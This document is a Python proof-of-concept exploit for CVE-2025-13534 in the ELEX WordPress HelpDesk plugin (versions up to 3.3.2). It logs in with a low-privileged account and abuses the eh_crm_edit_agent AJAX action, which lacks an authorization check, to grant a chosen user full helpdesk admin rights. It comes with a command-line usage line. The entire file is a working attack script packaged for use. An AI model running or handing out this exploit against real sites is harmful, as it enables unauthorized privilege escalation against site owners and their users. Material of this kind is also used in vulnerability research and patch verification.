import requests
import sys
# CVE-2025-13534 PoC - ELEX WordPress HelpDesk Privilege Escalation
# Target: WordPress site with ELEX HelpDesk plugin <= 3.3.2
def exploit_privilege_escalation(target_url, username, password, target_user_id=1):
"""
Exploit the missing authorization check on eh_crm_edit_agent AJAX action.
This allows authenticated users with Contributor+ role to escalate privileges.
Args:
target_url: Base URL of the WordPress site
username: WordPress username (Contributor role or higher)
password: WordPress password
target_user_id: Target user ID to escalate (default: 1 for admin)
"""
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
# Step 1: Authenticate to WordPress
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': f"{target_url}/wp-admin/"
}
print(f"[*] Authenticating as {username}...")
response = session.post(login_url, data=login_data, allow_redirects=True)
if 'wordpress_logged_in' not in session.cookies:
print("[-] Authentication failed!")
return False
print("[+] Authentication successful!")
# Step 2: Exploit privilege escalation via eh_crm_edit_agent
exploit_data = {
'action': 'eh_crm_edit_agent',
'user_id': target_user_id,
'role': 'admin',
'name': 'Helpdesk Admin',
'email': '
[email protected]',
'ticket_per': 'all',
'canned_per': 'all',
'canned_create': 'yes',
'canned_delete': 'yes',
'setting_per': 'all',
'agent_per': 'all'
}
print(f"[*] Exploiting privilege escalation for user ID {target_user_id}...")
response = session.post(ajax_url, data=exploit_data)
if response.status_code == 200:
print("[+] Exploit sent successfully!")
print(f"[*] Response: {response.text}")
print("[+] Target user should now have full helpdesk admin privileges.")
return True
else:
print(f"[-] Exploit failed with status code: {response.status_code}")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> [target_user_id]")
print("Example: python exploit.py http://localhost admin contributor 1")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
tid = int(sys.argv[4]) if len(sys.argv) > 4 else 1
exploit_privilege_escalation(target, user, pwd, tid)